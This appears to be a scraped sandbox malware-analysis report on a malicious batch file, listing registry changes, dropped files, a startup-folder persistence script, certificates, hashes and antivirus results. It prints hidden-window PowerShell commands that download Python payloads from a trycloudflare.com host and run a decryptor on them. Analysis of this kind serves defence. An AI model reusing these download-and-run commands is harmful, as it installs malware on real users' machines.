48B100F7125E00F7D36F00F7ED6A00F8FE8200F9778C005B000600000003CC910007B3AD000858710009EF7D000BFF5C000E4D7E000FBA9E00110FAA001319830013B7B10013E9780016F0B20017349B001786A70019C398001C4452001D97A90022D38900316DBB003256AE0032E9830036A6AC00395EA700427F7A004293800042B3AE0042C46A0042FA5800472471004C41B4004CA770004EA059004F0CAC00508FC4005CE17D00624F980066E7820069D281006B0961006E7B8C007140A300723C120072B29F0073CD610073D3A700757C860076418E0085CAA90091508A0091D3A30093168900938EAB0098B9A40099698A009CE0A8009D9FA0009F60C3009F8F6E00A02AAB00A18EAB00A1D7B300A3F76A00A522A400A58F6000A644A600A9A4C200AA1BAA00B6515D00BA146500BC88B100BC8AA700BD388F00BE558200C176B300C33EA300C456A100C45F7F00CC4BA700D0FE6200D1589600D6B79A00D93DAA00DC38AB00DE3D8300E17E8C00E98AA700EAB94F00EC9FBB00ED0CAD00F4AD7A00FE208B000500400100000571AE006041AE00682C90007E339100F1D9A300010043010000C0EC7C0000") "powershell.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "PROXYBYPASS"; Value: "0100000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "INTRANETNAME"; Value: "0100000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "UNCASINTRANET"; Value: "0100000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "AUTODETECT"; Value: "0000000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CMD.EXE"; Value: "B38D8BC79FBDDC010000000000000000000000000200000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\NOTIFICATIONS\DATA"; Key: "418A073AA3BC3475"; Value: "BF0B000000000000040004000102040000000000630000000D787900010000006B507E000200000087DE830070000000A19F5E000400010000006C00000056737D00070000006B507E00010000009829B70007000000E6C531000100040000001F0000001A9CB2000100050000000100000016F0B20001006500000034050000E6C5310000") "powershell.exe" (Access type: "SETVAL"; Path: "HKCU\LOCAL SETTINGS\MUICACHE\2F3\52C64B7E"; Key: "LANGUAGELIST"; Value: "en-US") "cmd.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "PROXYBYPASS"; Value: "0100000000") "cmd.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "INTRANETNAME"; Value: "0100000000") "cmd.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "UNCASINTRANET"; Value: "0100000000") "cmd.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "AUTODETECT"; Value: "0000000000") "cmd.exe" (Access type: "SETVAL"; Path: "HKCU\LOCAL SETTINGS\SOFTWARE\MICROSOFT\WINDOWS\SHELL\MUICACHE"; Key: "C:\WINDOWS\PY.EXE.FRIENDLYAPPNAME"; Value: "Python") "cmd.exe" (Access type: "SETVAL"; Path: "HKCU\LOCAL SETTINGS\SOFTWARE\MICROSOFT\WINDOWS\SHELL\MUICACHE"; Key: "C:\WINDOWS\PY.EXE.APPLICATIONCOMPANY"; Value: "Python Software Foundation") "cmd.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\WINDOWSPOWERSHELL\V1.0\POWERSHELL.EXE"; Value: "DCF253DD9FBDDC010000000000000000000000000200000000") "cmd.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\WINDOWSPOWERSHELL\V1.0\POWERSHELL.EXE"; Value: ",R�") "cmd.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\NOTIFICATIONS\DATA"; Key: "418A073AA3BC3475"; Value: "C00B000000000000040004000102040000000000630000000D787900010000006B507E000200000087DE830070000000A19F5E000400010000006E00000056737D00070000006B507E00010000009829B70007000000E6C531000100040000001F0000001A9CB2000100050000000100000016F0B20001006500000034050000E6C5310000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASAPI32"; Key: "ENABLEFILETRACING"; Value: "0000000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASAPI32"; Key: "ENABLEAUTOFILETRACING"; Value: "0000000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASAPI32"; Key: "ENABLECONSOLETRACING"; Value: "0000000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASAPI32"; Key: "FILETRACINGMASK"; Value: "0000FFFF00") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASAPI32"; Key: "CONSOLETRACINGMASK"; Value: "0000FFFF00") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASAPI32"; Key: "MAXFILESIZE"; Value: "0000100000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASAPI32"; Key: "FILEDIRECTORY"; Value: "%windir%\tracing") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASMANCS"; Key: "ENABLEFILETRACING"; Value: "0000000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASMANCS"; Key: "ENABLEAUTOFILETRACING"; Value: "0000000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASMANCS"; Key: "ENABLECONSOLETRACING"; Value: "0000000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASMANCS"; Key: "FILETRACINGMASK"; Value: "0000FFFF00") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASMANCS"; Key: "CONSOLETRACINGMASK"; Value: "0000FFFF00") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASMANCS"; Key: "MAXFILESIZE"; Value: "0000100000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASMANCS"; Key: "FILEDIRECTORY"; Value: "%windir%\tracing") "python.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\EXPLORER.EXE"; Value: "21AEFE4CA1BDDC010000000000000000000000000200000000") "python.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\EXPLORER.EXE"; Value: "E1DA1E50A1BDDC010000000000000000000000000200000000")5d:Taa8,Dropped file: "python314.dll" - Location: [%LOCALAPPDATA%\xt\python314.dll]- [targetUID: 00000000-00007708] Dropped file: "libcrypto-3.dll" - Location: [%LOCALAPPDATA%\xt\libcrypto-3.dll]- [targetUID: 00000000-00005872] Dropped file: "sqlite3.dll" - Location: [%LOCALAPPDATA%\xt\sqlite3.dll]- [targetUID: 00000000-00005872] Dropped file: "libssl-3.dll" - Location: [%LOCALAPPDATA%\xt\libssl-3.dll]- [targetUID: 00000000-00005872] Dropped file: "python.cat" - Location: [%LOCALAPPDATA%\xt\python.cat]- [targetUID: 00000000-00005872] Dropped file: "vcruntime140.dll" - Location: [%LOCALAPPDATA%\xt\vcruntime140.dll]- [targetUID: 00000000-00007708] Dropped file: "python.exe" - Location: [%LOCALAPPDATA%\xt\python.exe]- [targetUID: 00000000-00003108] Dropped file: "s1.bin" - Location: [%LOCALAPPDATA%\xt\s1.bin]- [targetUID: 00000000-00007708] Dropped file: "s2.bin" - Location: [%LOCALAPPDATA%\xt\s2.bin]- [targetUID: 00000000-00006572] Dropped file: "python3.dll" - Location: [%LOCALAPPDATA%\xt\python3.dll]- [targetUID: 00000000-00007708] Dropped file: "vcruntime140_1.dll" - Location: [%LOCALAPPDATA%\xt\vcruntime140_1.dll]- [targetUID: 00000000-00005872] Dropped file: "startup.bat" - Location: [%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\startup.bat]- [targetUID: 00000000-00003108] Dropped file: "python314.zip" - Location: [%LOCALAPPDATA%\xt\python314.zip]- [targetUID: 00000000-00007708] Dropped file: "unicodedata.pyd" - Location: [%LOCALAPPDATA%\xt\unicodedata.pyd]- [targetUID: 00000000-00005872] Dropped file: "_zstd.pyd" - Location: [%LOCALAPPDATA%\xt\_zstd.pyd]- [targetUID: 00000000-00007708] Dropped file: "_decimal.pyd" - Location: [%LOCALAPPDATA%\xt\_decimal.pyd]- [targetUID: 00000000-00005872] Dropped file: "_ssl.pyd" - Location: [%LOCALAPPDATA%\xt\_ssl.pyd]- [targetUID: 00000000-00005872] Dropped file: "_lzma.pyd" - Location: [%LOCALAPPDATA%\xt\_lzma.pyd]- [targetUID: 00000000-00007708] Dropped file: "_ctypes.pyd" - Location: [%LOCALAPPDATA%\xt\_ctypes.pyd]- [targetUID: 00000000-00007708] Dropped file: "_bz2.pyd" - Location: [%LOCALAPPDATA%\xt\_bz2.pyd]- [targetUID: 00000000-00007708] Dropped file: "_socket.pyd" - Location: [%LOCALAPPDATA%\xt\_socket.pyd]- [targetUID: 00000000-00005872] Dropped file: "_asyncio.pyd" - Location: [%LOCALAPPDATA%\xt\_asyncio.pyd]- [targetUID: 00000000-00005872] Dropped file: "_remote_debugging.pyd" - Location: [%LOCALAPPDATA%\xt\_remote_debugging.pyd]- [targetUID: 00000000-00005872] Dropped file: "_overlapped.pyd" - Location: [%LOCALAPPDATA%\xt\_overlapped.pyd]- [targetUID: 00000000-00005872] Dropped file: "_zoneinfo.pyd" - Location: [%LOCALAPPDATA%\xt\_zoneinfo.pyd]- [targetUID: 00000000-00005872]5e:T502,"powershell.exe" reads file "C:\Users\%OSUSER%\Desktop\desktop.ini" "powershell.exe" reads file "C:\Users\%OSUSER%\Documents\desktop.ini" "powershell.exe" reads file "C:\Users\%OSUSER%\Music\desktop.ini" "powershell.exe" reads file "C:\Users\%OSUSER%\Pictures\desktop.ini" "powershell.exe" reads file "C:\Users\%OSUSER%\Videos\desktop.ini" "powershell.exe" reads file "C:\Users\%OSUSER%\Downloads\desktop.ini" "powershell.exe" reads file "C:\Users\%OSUSER%\OneDrive\desktop.ini" "cmd.exe" reads file "C:\Users\%OSUSER%\Desktop\desktop.ini" "cmd.exe" reads file "C:\Users\%OSUSER%\Documents\desktop.ini" "cmd.exe" reads file "C:\Users\%OSUSER%\Music\desktop.ini" "cmd.exe" reads file "C:\Users\%OSUSER%\Pictures\desktop.ini" "cmd.exe" reads file "C:\Users\%OSUSER%\Videos\desktop.ini" "cmd.exe" reads file "C:\Users\%OSUSER%\Downloads\desktop.ini" "cmd.exe" reads file "C:\Users\%OSUSER%\OneDrive\desktop.ini" "cmd.exe" reads file "C:\Users\%OSUSER%\Searches\desktop.ini" "cmd.exe" reads file "C:\Users\%OSUSER%\Contacts\desktop.ini" "cmd.exe" reads file "C:\Users\%OSUSER%\Favorites\desktop.ini" "cmd.exe" reads file "C:\Users\%OSUSER%\Links\desktop.ini" "cmd.exe" reads file "C:\Users\%OSUSER%\Saved Games\desktop.ini" "cmd.exe" reads file "C:\Users\desktop.ini"5f:T1442,"python314.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 7 sections"- Location: [%LOCALAPPDATA%\xt\python314.dll]- [targetUID: 00000000-00007708] "libcrypto-3.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 8 sections"- Location: [%LOCALAPPDATA%\xt\libcrypto-3.dll]- [targetUID: 00000000-00005872] "sqlite3.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%LOCALAPPDATA%\xt\sqlite3.dll]- [targetUID: 00000000-00005872] "libssl-3.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 8 sections"- Location: [%LOCALAPPDATA%\xt\libssl-3.dll]- [targetUID: 00000000-00005872] "vcruntime140.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 8 sections"- Location: [%LOCALAPPDATA%\xt\vcruntime140.dll]- [targetUID: 00000000-00007708] "python.exe" has type "PE32+ executable for MS Windows 6.00 (console) x86-64 6 sections"- Location: [%LOCALAPPDATA%\xt\python.exe]- [targetUID: 00000000-00003108] "pythonw.exe" has type "PE32+ executable for MS Windows 6.00 (GUI) x86-64 6 sections"- [targetUID: N/A] "s1.bin" has type "DOS executable (COM) start instruction 0xb8e8cc2d 3e404abf"- Location: [%LOCALAPPDATA%\xt\s1.bin]- [targetUID: 00000000-00007708] "python3.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 2 sections"- Location: [%LOCALAPPDATA%\xt\python3.dll]- [targetUID: 00000000-00007708] "vcruntime140_1.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%LOCALAPPDATA%\xt\vcruntime140_1.dll]- [targetUID: 00000000-00005872] "unicodedata.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%LOCALAPPDATA%\xt\unicodedata.pyd]- [targetUID: 00000000-00005872] "_zstd.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%LOCALAPPDATA%\xt\_zstd.pyd]- [targetUID: 00000000-00007708] "_decimal.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%LOCALAPPDATA%\xt\_decimal.pyd]- [targetUID: 00000000-00005872] "pyexpat.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- [targetUID: N/A] "_ssl.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%LOCALAPPDATA%\xt\_ssl.pyd]- [targetUID: 00000000-00005872] "_lzma.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%LOCALAPPDATA%\xt\_lzma.pyd]- [targetUID: 00000000-00007708] "_ctypes.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%LOCALAPPDATA%\xt\_ctypes.pyd]- [targetUID: 00000000-00007708] "_elementtree.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- [targetUID: N/A] "_sqlite3.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- [targetUID: N/A] "_bz2.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%LOCALAPPDATA%\xt\_bz2.pyd]- [targetUID: 00000000-00007708] "_socket.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%LOCALAPPDATA%\xt\_socket.pyd]- [targetUID: 00000000-00005872] "_asyncio.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 7 sections"- Location: [%LOCALAPPDATA%\xt\_asyncio.pyd]- [targetUID: 00000000-00005872] "_remote_debugging.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%LOCALAPPDATA%\xt\_remote_debugging.pyd]- [targetUID: 00000000-00005872] "_hashlib.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- [targetUID: N/A] "_overlapped.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%LOCALAPPDATA%\xt\_overlapped.pyd]- [targetUID: 00000000-00005872] "_zoneinfo.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%LOCALAPPDATA%\xt\_zoneinfo.pyd]- [targetUID: 00000000-00005872] "_wmi.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%LOCALAPPDATA%\xt\_wmi.pyd]- [targetUID: 00000000-00005872] "_multiprocessing.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- [targetUID: N/A] "_queue.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%LOCALAPPDATA%\xt\_queue.pyd]- [targetUID: 00000000-00005872] "select.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%LOCALAPPDATA%\xt\select.pyd]- [targetUID: 00000000-00005872] "winsound.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- [targetUID: N/A] "_uuid.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%LOCALAPPDATA%\xt\_uuid.pyd]- [targetUID: 00000000-00005872] "zmorf.py" has type "Python script Unicode text UTF-8 text executable with CRLF line terminators"- Location: [%LOCALAPPDATA%\xt\zmorf.py]- [targetUID: 00000000-00003108] "urlref_httpsopposite-lodge-strict-closes.trycloudflare.comxtzmorf.py" has type "Python script Unicode text UTF-8 text executable with CRLF line terminators"- [targetUID: N/A]60:T756,File "python.cat" is a certificate (Owner: CN=Microsoft Identity Verification Root Certificate Authority 2020, O=Microsoft Corporation, C=US; Issuer: CN=Microsoft Identity Verification Root Certificate Authority 2020, O=Microsoft Corporation, C=US; SerialNumber: 5498d2d1d45b1995481379c811c08799; Valid From: 04/16/2020 18:36:16; Until: 04/16/2045 18:44:40; Fingerprints: MD5=BE:95:4F:16:01:21:22:44:8C:A8:BC:27:96:02:AC:F5; SHA1=F4:00:42:E2:E5:F7:E8:EF:81:89:FE:D1:55:19:AE:CE:42:C3:BF:A2) File "python.cat" is a certificate (Owner: CN=Python Software Foundation, O=Python Software Foundation, L=Beaverton, ST=Oregon, C=US; Issuer: CN=Microsoft ID Verified CS EOC CA 01, O=Microsoft Corporation, C=US; SerialNumber: 33000465bd7d5c640eff138ecc0000000465bd; Valid From: 09/17/2025 14:34:23; Until: 09/20/2025 14:34:23; Fingerprints: MD5=A5:03:12:79:B5:80:1A:D6:57:0E:DB:1D:F9:79:0B:A8; SHA1=6D:41:01:46:44:F5:AD:29:C7:B2:4E:D5:0D:D0:98:2B:DB:8E:7C:C9) File "python.cat" is a certificate (Owner: CN=Microsoft ID Verified CS EOC CA 01, O=Microsoft Corporation, C=US; Issuer: CN=Microsoft ID Verified Code Signing PCA 2021, O=Microsoft Corporation, C=US; SerialNumber: 33000000064a1afacf05616a74000000000006; Valid From: 04/13/2021 17:31:54; Until: 04/13/2026 17:31:54; Fingerprints: MD5=A5:8E:AB:7A:B8:18:69:F7:10:D4:5D:00:1F:C6:BD:FF; SHA1=01:D7:DA:E8:36:98:CD:F2:F7:80:96:DB:8B:8F:D5:B3:9C:68:9B:55) File "python.cat" is a certificate (Owner: CN=Microsoft ID Verified Code Signing PCA 2021, O=Microsoft Corporation, C=US; Issuer: CN=Microsoft Identity Verification Root Certificate Authority 2020, O=Microsoft Corporation, C=US; SerialNumber: 330000000787a334a37ba58e1c000000000007; Valid From: 04/01/2021 20:05:20; Until: 04/01/2036 20:15:20; Fingerprints: MD5=01:F8:F6:19:25:5C:B2:09:0E:CE:81:1A:B6:5D:88:CE; SHA1=8E:75:0F:45:9D:AF:9A:79:D6:37:0D:B7:47:AD:22:26:86:6A:D8:18)61:T891,Spawned process "cmd.exe" with commandline "/c ""C:\\2cab35576d40a8dd509ec54d0a6654597f2566f1e2fb0fa1635573c391c60a1d.bin.bat" "" (UID: 00000000-00002240) Spawned process "powershell.exe" with commandline "powershell -WindowStyle Hidden -Command "Start-Process -FilePath 'C:\\2cab35576d40a8dd509ec54d0a6654597f2566f1e2fb0fa1635573c391c60a1d.bin.bat' -ArgumentList 'h' -WindowStyle Hidden"" (UID: 00000000-00003044) Spawned process "cmd.exe" with commandline "/c ""C:\\2cab35576d40a8dd509ec54d0a6654597f2566f1e2fb0fa1635573c391c60a1d.bin.bat" h "" (UID: 00000000-00003108) Spawned process "powershell.exe" with commandline "powershell -Command "iwr 'https://www.python.org/ftp/python/3.14.0/python-3.14.0rc3-embed-amd64.zip' -OutFile '%TEMP%\\p.zip'; expand-archive '%TEMP%\\p.zip' '%LOCALAPPDATA%\\xt' -Force"" (UID: 00000000-00005872) Spawned process "powershell.exe" with commandline "powershell -Command "iwr 'https://opposite-lodge-strict-closes.trycloudflare.com/xt/zmorf.py' -OutFile '%LOCALAPPDATA%\\xt/zmorf.py'; iwr 'https://opposite-lodge-strict-closes.trycloudflare.com/xt/BB1.bin' -OutFile '%LOCALAPPDATA%\\xt/BB1.bin'; iwr 'https://opposite-lodge-strict-closes.trycloudflare.com/xt/BB1.txt' -OutFile '%LOCALAPPDATA%\\xt/BB1.txt'; iwr 'https://opposite-lodge-strict-closes.trycloudflare.com/xt/s1.bin' -OutFile '%LOCALAPPDATA%\\xt/s1.bin'; iwr 'https://opposite-lodge-strict-closes.trycloudflare.com/xt/s1.txt' -OutFile '%LOCALAPPDATA%\\xt/s1.txt'; iwr 'https://opposite-lodge-strict-closes.trycloudflare.com/xt/s2.bin' -OutFile '%LOCALAPPDATA%\\xt/s2.bin'; iwr 'https://opposite-lodge-strict-closes.trycloudflare.com/xt/s2.txt' -OutFile '%LOCALAPPDATA%\\xt/s2.txt';" (UID: 00000000-00006572), Spawned process "python.exe" with commandline "python zmorf.py -i BB1.bin -k BB1.txt -c -v" (UID: 00000000-00007628), Spawned process "explorer.exe" (UID: 00000000-00004720), Spawned process "python.exe" with commandline "python zmorf.py -i s1.bin -k s1.txt -c -v" (UID: 00000000-00007708), Spawned process "explorer.exe" (UID: 00000000-00006600), Spawned process "python.exe" with commandline ""%LOCALAPPDATA%\\xt\\zmorf.py" -i s2.bin -k s2.txt -c -v" (UID: 00000000-00003540)1d:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$25"}}],["$","$L26",null,{"initialData":{"schema_version":"1.0.15","sha256":"2cab35576d40a8dd509ec54d0a6654597f2566f1e2fb0fa1635573c391c60a1d","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"NOT_AVAILABLE","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1791554318063,"unified_at":"2026-10-09T13:58:38.063Z","metadata":{"hashes":{"sha256":"2cab35576d40a8dd509ec54d0a6654597f2566f1e2fb0fa1635573c391c60a1d","sha1":"77638afe375f1a91ef4eae460a0293ab91796d32","md5":"f7e58a7042ac583270ff6a79e57b5295","sha512":"7be86c2fd7610ba8c50be83b58f1b3cb78fbd0cfcfc6e8cffd9a995424eabcc6264b1c23821a893fa7965cc7c088ba166220d7fb8769c4180cb4ddac1251bcae","ssdeep":"48:Nb2bOD4OjyiRPjfIIaLjUCUjUTajGxjPVjnSHjtuz+uzaDXruzquz8uzTNcUsuzn:Nb2boj7PjIIAI3IOUhuHgDJvpnNcUNHL","ssdeep_chunks":["48:Nb2bOD4","48:b2bOD4O","48:2bOD4Oj","48:bOD4Ojy","48:OD4Ojyi","48:D4OjyiR","48:4OjyiRP","48:OjyiRPj","48:jyiRPjf","48:yiRPjfI","48:iRPjfII","48:RPjfIIa","48:PjfIIaL","48:jfIIaLj","48:fIIaLjU","48:IIaLjUC","48:IaLjUCU","48:aLjUCUj","48:LjUCUjU","48:jUCUjUT","48:UCUjUTa","48:CUjUTaj","48:UjUTajG","48:jUTajGx","48:UTajGxj","48:TajGxjP","48:ajGxjPV","48:jGxjPVj","48:GxjPVjn","48:xjPVjnS","48:jPVjnSH","48:PVjnSHj","48:VjnSHjt","48:jnSHjtu","48:nSHjtuz","48:SHjtuz+","48:Hjtuz+u","48:jtuz+uz","48:tuz+uza","48:uz+uzaD","48:z+uzaDX","48:+uzaDXr","48:uzaDXru","48:zaDXruz","48:aDXruzq","48:DXruzqu","48:Xruzquz","48:ruzquz8","48:uzquz8u","48:zquz8uz","48:quz8uzT","48:uz8uzTN","48:z8uzTNc","48:8uzTNcU","48:uzTNcUs","48:zTNcUsu","48:TNcUsuz","48:NcUsuzn","96:Nb2bOD4","96:b2bOD4O","96:2bOD4Oj","96:bOD4Ojy","96:OD4Ojyi","96:D4OjyiR","96:4OjyiRP","96:OjyiRPj","96:jyiRPjf","96:yiRPjfI","96:iRPjfII","96:RPjfIIa","96:PjfIIaL","96:jfIIaLj","96:fIIaLjU","96:IIaLjUC","96:IaLjUCU","96:aLjUCUj","96:LjUCUjU","96:jUCUjUT","96:UCUjUTa","96:CUjUTaj","96:UjUTajG","96:jUTajGx","96:UTajGxj","96:TajGxjP","96:ajGxjPV","96:jGxjPVj","96:GxjPVjn","96:xjPVjnS","96:jPVjnSH","96:PVjnSHj","96:VjnSHjt","96:jnSHjtu","96:nSHjtuz","96:SHjtuz+","96:Hjtuz+u","96:jtuz+uz","96:tuz+uza","96:uz+uzaD","96:z+uzaDX","96:+uzaDXr","96:uzaDXru","96:zaDXruz","96:aDXruzq","96:DXruzqu","96:Xruzquz","96:ruzquz8","96:uzquz8u","96:zquz8uz","96:quz8uzT","96:uz8uzTN","96:z8uzTNc","96:8uzTNcU","96:uzTNcUs","96:zTNcUsu","96:TNcUsuz","96:NcUsuzn","48:Nb2boj7","48:b2boj7P","48:2boj7Pj","48:boj7PjI","48:oj7PjII","48:j7PjIIA","48:7PjIIAI","48:PjIIAI3","48:jIIAI3I","48:IIAI3IO","48:IAI3IOU","48:AI3IOUh","48:I3IOUhu","48:3IOUhuH","48:IOUhuHg","48:OUhuHgD","48:UhuHgDJ","48:huHgDJv","48:uHgDJvp","48:HgDJvpn","48:gDJvpnN","48:DJvpnNc","48:JvpnNcU","48:vpnNcUN","48:pnNcUNH","48:nNcUNHL"],"imphash":"Unknown"},"file_info":{"file_name":"2cab35576d40a8dd509ec54d0a6654597f2566f1e2fb0fa1635573c391c60a1d.bin","file_type":["script","bat"],"file_type_id":"bat","file_size":1876,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1774559412000,"last_seen":1774559417000,"last_multi_scan":1774559417000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":null},"stats":{"av":{"malicious_count":1,"suspicious_count":0,"total_engines":25},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":82},"sandbox_signatures":{"informative_count":179,"suspicious_count":13,"malicious_count":7,"total":199},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"ahnlab":{"name":"AhnLab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"aurora":{"name":"Aurora","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"cmc":{"name":"CMC","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset"